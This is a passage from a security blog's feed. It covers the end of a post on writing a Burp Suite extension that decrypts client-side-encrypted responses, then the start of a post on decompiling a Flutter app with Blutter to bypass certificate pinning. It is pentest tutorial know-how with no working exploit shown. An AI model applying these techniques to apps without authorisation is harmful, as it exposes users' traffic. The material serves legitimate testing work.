&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;        return !&lt;&#x2F;span&gt;&lt;span&gt;privateKeyB64.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;isEmpty&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;amp;&amp;amp; !&lt;&#x2F;span&gt;&lt;span&gt;encryptedSymmetricKeyB64.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;isEmpty&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; &amp;amp;&amp;amp; !&lt;&#x2F;span&gt;&lt;span&gt;encryptedIvB64.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;isEmpty&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image11.png&quot; alt=&quot;Extension settings tab in Burp Suite GUI&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;I won&#x27;t release the source code of this extension of mine because it&#x27;s basically a copy-paste of Hosam Gemei&#x27;s original extension, but with some small changes based on the needs I had during the process. The main point of all this was the learning process, but also the regret process of having to deal with Java xD.&lt;&#x2F;p&gt;
&lt;p&gt;After 5 hours in this process, and close to giving up with help from Claude Code, I managed to make this functional. As can be seen in the image below, it&#x27;s a simple window with 6 data inputs, which are basically the necessary data for decryption to be done and also what are the payloads to detect the input and server response, in this case, &lt;code&gt;data&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image12.png&quot; alt=&quot;Extension UI with 6 input fields for keys and parameters&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now when actually testing, I went back to that same route that returned a giant encrypted JSON and you can see that now we have a tab in the response called &quot;Decrypt&quot; and when I accessed it, fortunately there was my decrypted JSON with all information in clear text. Definitely a victory!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;defeating-client-side-web-encryption-with-burp-suite-extension&#x2F;image13.png&quot; alt=&quot;Burp Suite Decrypt tab showing the decrypted JSON response&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This type of protection may seem sufficient, but it&#x27;s actually rework, since in MiTM scenarios TLS would already do its job of transporting encrypted data, so adding an extra layer of this is redundant, even more so because the implementation is natively insecure due to the needs between client and server.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;From this process, it&#x27;s important to keep in mind that masking the data that the victim&#x27;s own browser sends and receives transmits a false sense of security, which can be seen as an interesting measure depending on the purpose of that application, but this doesn&#x27;t protect it from all attacks or make it inaccessible by attackers, it just takes time and understanding about the system.&lt;&#x2F;p&gt;
&lt;p&gt;In my honest opinion, this is a pure business decision and not very strategic, because it will end up taking more time to implement and later can generate maintenance problems. So what&#x27;s more important to be done here? Implement robust access controls like the principle of least privilege (RBAC and such), don&#x27;t store sensitive information in source code or Local Storage, don&#x27;t trust user input data and all those other issues that can be seen as more important.&lt;&#x2F;p&gt;
&lt;p&gt;At the end of it all, it was a very rewarding process to be able to develop this whole project and have an extremely positive result, and that later helped me find some other vulnerabilities in the application. Fortunately, I was lucky enough to find an article that solves the same pain as mine and some others that gave me ideas of what to do at certain moments.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@hosam.gemeai&#x2F;a-guide-to-build-burp-suite-extensions-using-montoya-api-java-a8256a169bee&quot;&gt;medium.com — A Guide to Build Burp Suite Extensions using Montoya API (Java)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;melotover.medium.com&#x2F;bypassing-e2e-encryption-leads-to-multiple-high-vulnerabilities-65b708e5ad84&quot;&gt;medium.com — Bypassing E2E Encryption Leads to Multiple High Vulnerabilities&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Gemei&#x2F;Burp-Plugin-Demo&quot;&gt;github.com&#x2F;Gemei&#x2F;Burp-Plugin-Demo&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;portswigger.github.io&#x2F;burp-extensions-montoya-api&#x2F;javadoc&#x2F;burp&#x2F;api&#x2F;montoya&#x2F;MontoyaApi.html&quot;&gt;portswigger.net — MontoyaApi Javadoc&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.royalholloway.ac.uk&#x2F;media&#x2F;9116&#x2F;gageboyleisg.pdf&quot;&gt;royalholloway.ac.uk — Client-Side Encryption Research&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Bypassing Flutter Certificate Pinning</title>
        <published>2025-02-20T00:00:00+00:00</published>
        <updated>2025-02-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              dsm
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://dsm.golf/blog/bypassing-flutter-certificate-pinning/"/>
        <id>https://dsm.golf/blog/bypassing-flutter-certificate-pinning/</id>
        
        <content type="html" xml:base="https://dsm.golf/blog/bypassing-flutter-certificate-pinning/">&lt;p&gt;Continuing with my mobile pentest studies and, of course, doing mobile pentests at work, it&#x27;s pretty common to run into different mobile apps built with various programming languages. For example, you&#x27;ll find apps developed in Java, Kotlin, Flutter, Xamarin, Swift… and a bunch of others.&lt;&#x2F;p&gt;
&lt;p&gt;You&#x27;ll probably find only a few class files that won&#x27;t be nearly as helpful as you&#x27;d hope. For example, here&#x27;s the app I&#x27;m currently working with:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image.png&quot; alt=&quot;Decompiled Flutter APK showing only a few class files&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;As you can see, we only have a &lt;code&gt;MainActivity&lt;&#x2F;code&gt; file, a class file with a random name, and the &lt;code&gt;BuildConfig&lt;&#x2F;code&gt; file (don&#x27;t forget to check the BuildConfig file—you might find something useful there). When I see this, two scenarios come to mind:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;The rest of the app is obfuscated.&lt;&#x2F;li&gt;
&lt;li&gt;The app is built with Flutter.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;I went with the second option. Why? Because it&#x27;s pretty easy to identify a Flutter app just by looking at the extracted content from the APK file (I used apktool for this) and checking the lib directory.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%201.png&quot; alt=&quot;APK lib directory showing libflutter.so and libapp.so&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;For now, we&#x27;re most interested in these two files: &lt;code&gt;libflutter.so&lt;&#x2F;code&gt; and &lt;code&gt;libapp.so&lt;&#x2F;code&gt;. For those who don&#x27;t know, Flutter is a software development kit created by Google, commonly used to develop applications for Android, iOS, Linux, macOS, and other platforms. However, it&#x27;s primarily popular for mobile apps.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;code&gt;libflutter.so&lt;&#x2F;code&gt; file contains the Flutter engine, mainly developed in C++. One of its key components is Skia (a 2D graphics library), which renders the UI and displays it in the &lt;code&gt;FlutterView&lt;&#x2F;code&gt;, also known as the &lt;em&gt;Raster Thread&lt;&#x2F;em&gt;. There&#x27;s also the &lt;em&gt;Platform Thread&lt;&#x2F;em&gt;, which interacts with the native APIs of Android and iOS. Finally, we have the &lt;em&gt;UI Thread&lt;&#x2F;em&gt;, responsible for executing Dart code and managing widgets.&lt;&#x2F;p&gt;
&lt;p&gt;On the other hand, &lt;code&gt;libapp.so&lt;&#x2F;code&gt; is unique to each Flutter application. It contains the compiled Dart project—essentially, the mobile app&#x27;s source code. This code is compiled into native machine code using AOT (Ahead-of-Time) compilation, meaning the code is translated into machine instructions before the app actually runs, typically during the production build.&lt;&#x2F;p&gt;
&lt;p&gt;As stated in the Dart documentation, AOT-compiled code guarantees better performance during application execution, such as a fast startup and consistent runtime performance, unlike JIT-compiled code, which is slower at startup but can reach better performance after some time when necessary runtime optimizations occur. Naturally, during a fast development cycle, the Dart VM offers developers JIT compilation features like hot reload, live metrics collection, and debugging support, which help a lot in thoroughly testing the application.&lt;&#x2F;p&gt;
&lt;figure&gt;
  &lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;flutter.png&quot; alt=&quot;Flutter architectural overview&quot;&gt;
&lt;&#x2F;figure&gt;
&lt;p&gt;When apps are finally ready to be deployed to web applications or app stores, you can compile your application with the Dart AOT compiler to native ARM or x64 machine code, which, as discussed earlier, will offer better startup performance for your entire application. The AOT-compiled code will run inside the Dart runtime environment with a memory management system that employs fast garbage collection and a generational garbage collector.&lt;&#x2F;p&gt;
&lt;p&gt;In the final process, the &lt;code&gt;libflutter.so&lt;&#x2F;code&gt; file launches the Flutter engine and sets up the environment, while the &lt;code&gt;libapp.so&lt;&#x2F;code&gt; file is loaded by the Flutter engine. This allows the Dart code to run within the Flutter engine, powered by &lt;code&gt;libflutter.so&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;figure&gt;
  &lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%202.png&quot; alt=&quot;Flutter architectural overview&quot;&gt;
  &lt;figcaption&gt;Flutter Architectural Overview — Flutter&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;h2 id=&quot;less-talk-show-me-the-code&quot;&gt;Less talk, show me the code!&lt;&#x2F;h2&gt;
&lt;p&gt;To provide more context, if we open a generic Java application in decompilation tools like &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;skylot&#x2F;jadx&quot;&gt;JADX&lt;&#x2F;a&gt; and the app does not use any obfuscation solution, the reverse-engineering process becomes extremely easy since the code is human-readable. For example, I downloaded a specific application from the Play Store and decompiled the APK file using JADX. By following the package name in the Source Code tab and accessing the Java files, you can see that everything is much easier to understand.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;java-code-example.png&quot; alt=&quot;Java app decompiled in JADX showing readable source code&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Getting Flutter&#x27;s apps source code isn&#x27;t exactly trivial. You could open the &lt;code&gt;libapp.so&lt;&#x2F;code&gt; file in Ghidra, IDA, BinaryNinja, or whatever tool you prefer, and try your best to figure out what&#x27;s going on. But honestly, I prefer a different approach. It&#x27;s not a secret method, just a more efficient one (at least in my opinion).&lt;&#x2F;p&gt;
&lt;p&gt;Thankfully, &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;worawit&quot;&gt;Worawit&lt;&#x2F;a&gt;, along with six other contributors, created the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;worawit&#x2F;blutter&quot;&gt;Blutter&lt;&#x2F;a&gt; project. Blutter is a Flutter reverse-engineering tool that supports arm64 and allows lazy people like us to extract more readable code and structure from a Flutter app. It&#x27;s super simple to use, though you&#x27;ll need some libraries and dependencies set up. In my case (MacOS), I had to install &lt;code&gt;cmake&lt;&#x2F;code&gt;, &lt;code&gt;ninja&lt;&#x2F;code&gt;, &lt;code&gt;pkg-config&lt;&#x2F;code&gt;, &lt;code&gt;icu4c&lt;&#x2F;code&gt;, &lt;code&gt;llvm&lt;&#x2F;code&gt;, and a few others. BUT! For actually running Blutter, all you need is a Python script.&lt;&#x2F;p&gt;
&lt;p&gt;As the Blutter README explains, you just need to run the Python script, specify the path to the &lt;code&gt;arm64-v8a&lt;&#x2F;code&gt; directory, and set an output directory:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;python3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; blutter.py &amp;#39;path&#x2F;to&#x2F;app&#x2F;lib&#x2F;arm64-v8a&amp;#39; &amp;#39;out_dir&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After that, Blutter compiles the necessary libraries and extracts some resources to execute the reverse-engineering process. Hopefully, after a few minutes, your output will look similar to mine. If any errors occur during this process or your PC crashes, make sure to read the stack trace carefully and check the Blutter GitHub repository&#x27;s Issues tab for similar problems. For added context, I&#x27;m running this on a MacBook, I haven&#x27;t tried Blutter on any other OS yet.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%203.png&quot; alt=&quot;Blutter running and extracting Flutter app resources&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If we navigate to our previously created output directory (in this case, I named it &lt;strong&gt;decompiled_code&lt;&#x2F;strong&gt;) and access the files, we now see a bunch of directories. It contains all the libraries used by the app and the app itself. If you look further, you can find your targeted directory based on the application package name.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%205.png&quot; alt=&quot;Blutter output directory structure&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The blurred directories are our target. From here, you can either dig through the countless files Blutter extracted or, like me, open the directory in VSCode for a more user-friendly overview. You&#x27;re probably going to see a structure similar to the image below. Now it&#x27;s 10 times easier to understand the application architecture and focus on the most important parts of the code.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%206.png&quot; alt=&quot;Blutter output opened in VSCode showing Dart code structure&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now we have a much better environment for reverse engineering the mobile application and searching for vulnerabilities. I highly recommend using &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;gitleaks&#x2F;gitleaks&quot;&gt;gitleaks&lt;&#x2F;a&gt; or any secret-finding tool (TruffleHog, Semgrep) to identify low-hanging fruits. I did this and found some interesting results, but that&#x27;s not the focus of this article, so we will skip that part.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ssl-pinning-for-you-not-for-me&quot;&gt;SSL Pinning for you, not for me!&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;SSL Pinning&lt;&#x2F;strong&gt; (or &lt;strong&gt;Certificate Pinning&lt;&#x2F;strong&gt;) is a technique that helps developers secure their mobile apps from Man-in-the-Middle (MITM) attacks. It ensures that the app only trusts specific certificates instead of the entire certificate chain. Instead of trusting any valid certificate chain, the application stores a copy of the server&#x27;s certificate or public key and verifies if the connection uses that exact certificate.&lt;&#x2F;p&gt;
&lt;p&gt;In the context of SSL Pinning, there are different pinning approaches. For example, we have &lt;strong&gt;Public Key Pinning&lt;&#x2F;strong&gt;, which is a mechanism for sites to specify which certificate authorities have issued valid certificates for that specific site, and to reject TLS connections to those sites if the used certificate is not issued by a known-good CA. The idea is also to prevent man-in-the-middle attacks by hard-coding the public key of the server&#x27;s SSL certificate instead of the entire certificate. In this way, the client will check if the server certificate contains the same public key that is hard-coded in the application code. The main advantage of Public Key Pinning is that even if the server certificate changes, the client will still trust the server if the public key remains the same, although it is harder to implement.&lt;&#x2F;p&gt;
&lt;p&gt;Another method is &lt;strong&gt;SPKI Pinning&lt;&#x2F;strong&gt;. The Subject Public Key Info (SPKI) is basically the key with a bit more salt, it can include the algorithm used for encoding or other parameters. SPKI is obtained from the &lt;strong&gt;Certificate Signing Request (CSR)&lt;&#x2F;strong&gt;, which collects the necessary information from a pair of public and private keys. The use of SPKI Pinning is not very convenient because you will need to release a mandatory update of your app when the certificate gets renewed, which will probably make things harder to maintain. It is possible to &quot;bypass&quot; this problem if you keep the same Certificate Signing Request (CSR) on every renewal process, but that violates the key rotation principle, which is the process of replacing old encryption keys with new ones to reduce the risk of compromised keys.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;bypassing-flutter-certificate-pinning&#x2F;image%208.png&quot; alt=&quot;SSL Pinning flow diagram&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;While analyzing the source code extracted by Blutter, I found something interesting that caught my attention. In the project files, there was a file called &lt;code&gt;dio_http_service_imp.dart&lt;&#x2F;code&gt;. &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;pub.dev&#x2F;packages&#x2F;dio&quot;&gt;Dio&lt;&#x2F;a&gt; is a popular HTTP networking package for Dart&#x2F;Flutter, supporting TLS connections. From the official Dio documentation, this is the basic implementation:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;dart&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; initAdapter&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;  const&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; String&lt;&#x2F;span&gt;&lt;span&gt; fingerprint &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;#39;ee5ce1dfa7a53657c545c62b65802e4272878dabd65c0aadcf85783ebb0b4d5c&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  dio.httpClientAdapter &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; IOHttpClientAdapter&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    createHttpClient&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; () {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; HttpClient&lt;&#x2F;span&gt;&lt;span&gt; client &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; HttpClient&lt;&#x2F;span&gt;&lt;span&gt;(context&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; SecurityContext&lt;&#x2F;span&gt;&lt;span&gt;(withTrustedRoots&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      client.badCertificateCallback &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; (cert, host, port) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      return&lt;&#x2F;span&gt;&lt;span&gt; client;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    validateCertificate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; (cert, host, port) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      if&lt;&#x2F;span&gt;&lt;span&gt; (cert &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; null&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AE81FF;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      return&lt;&#x2F;span&gt;&lt;span&gt; fingerprint &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span&gt; sha256.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;convert&lt;&#x2F;span&gt;&lt;span&gt;(cert.der).&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;toString&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  );&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As we can see above, we start by defining a variable called &lt;strong&gt;fingerprint&lt;&#x2F;strong&gt; that will contain the SHA256 hash of the public certificate key. After that, we create the HttpClient, ensuring that the SecurityContext is set with &lt;strong&gt;withTrustedRoots&lt;&#x2F;strong&gt; set to false so that we don&#x27;t trust any certificate just because its root cert is trusted. Furthermore, we check if the certificate fingerprint matches the SHA256 hash and ensure that at least one certificate is being supplied.&lt;&#x2F;p&gt;
&lt;p&gt;It works perfectly for servers that have a self-signed certificate, however, it will not work for external certificates issued by AWS, Let&#x27;s Encrypt, or other third parties. Therefore, we can verify the root of the HTTPS certificate that is provided by the server. The code below is an example of using a static PEM certificate and SecurityContext. It also supports PKCS#12 certificates, but PKCS#12 certificates require a password to be used, which exposes the password in the code; hence, the project does not recommend using them in common cases.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;dart&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt; initAdapter&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;  String PEM&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt; &amp;#39;XXXXX&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #88846F;&quot;&gt; &#x2F;&#x2F; Root certificate content&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  dio.httpClientAdapter &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; IOHttpClientAdapter&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    onHttpClientCreate&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; (_) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; SecurityContext&lt;&#x2F;span&gt;&lt;span&gt; sc &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; SecurityContext&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      sc.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A6E22E;&quot;&gt;setTrustedCertificates&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt;File&lt;&#x2F;span&gt;&lt;span&gt;(pathToTheCertificate));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      final&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; HttpClient&lt;&#x2F;span&gt;&lt;span&gt; client &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #66D9EF;font-style: italic;&quot;&gt; HttpClient&lt;&#x2F;span&gt;&lt;span&gt;(context&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span&gt; sc);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;      return&lt;&#x2F;span&gt;&lt;span&gt; client;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    },&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  );&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The most interesting part is this line &lt;code&gt;sc.setTrustedCertificates(File(pathToTheCertificate));&lt;&#x2F;code&gt; This indicates that the app expects a static certificate file. After reading &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@melkia.med.taki&#x2F;how-to-use-tls-ssl-in-flutter-with-dio-15eda4f80baf&quot;&gt;this article by Mohamed Malkia&lt;&#x2F;a&gt;, I immediately searched the source code for &lt;strong&gt;.pem&lt;&#x2F;strong&gt; and &lt;strong&gt;.key&lt;&#x2F;strong&gt; extensions. And guess what? I found actual references to these files:&lt;&#x2F;p&gt;
